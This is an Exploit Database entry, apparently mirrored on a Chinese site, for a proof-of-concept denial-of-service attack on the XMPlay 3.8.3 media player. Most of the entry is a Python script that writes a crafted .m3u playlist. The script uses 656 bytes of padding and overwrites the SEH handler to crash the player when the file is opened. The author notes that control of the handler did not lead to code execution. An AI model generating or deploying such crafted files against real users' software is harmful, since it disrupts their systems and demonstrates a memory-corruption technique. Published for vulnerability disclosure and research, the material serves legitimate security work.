XMPlay 3.8.3 – ‘.m3u’ Denial of Service (PoC)

• Exploit Database
• 18 阅读

• 作者： s7acktrac3
  日期： 2018-11-19
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/45887/

• # Exploit Title: XMPlay 3.8.3 - '.m3u' Denial of Service (PoC)
  # Date: 2018-11-18
  # Exploit Author: s7acktrac3
  # Vendor Homepage: https://www.xmplay.com/
  # Software Link: https://support.xmplay.com/files_view.php?file_id=676
  # Version: 3.8.3 (latest)
  # Tested on: Windows XP/7/8
  # CVE : N/A
  #
  # Lauch XMPlay and either drag xmplay.m3u into the XMPlay window or
  # File Menu-> select winamp.m3u and Crash!
  # -*- coding: utf-8 -*-
  #
  # Note: Successfully can overwrite the SEH chain & control the handler and nSEH
  # but the address get mangled & unreconizable, for this reason could not turn into
  # code execution.
  
  import struct
  from struct import pack
  
  file_data = "#EXTM3U\n\r"
  file_data += "#EXTINF:200,Sleep Away\n\r"
  file_data += "http://test."
  
  max_size = 3000 - 1
  nseh_offset = 656
  
  seh_overwrite = pack("<L", 0x00402450)
  
  payload = "A" * nseh_offset	# padding for nseh
  payload += "BBBB"				# nseh
  payload += seh_overwrite		# seh
  
  #padding for rest of payload - pipe "|" is needed somehow to force crash 
  payload += "D" *(max_size - len(payload)) + "|"
  print "[+] Creating .m3u file with payload size: "+ str(len(payload))
  
  exploit = file_data + payload
  
  file = open('xmplay.m3u','w');
  file.write(exploit);
  file.close();
   
  print "[+] Done creating the file"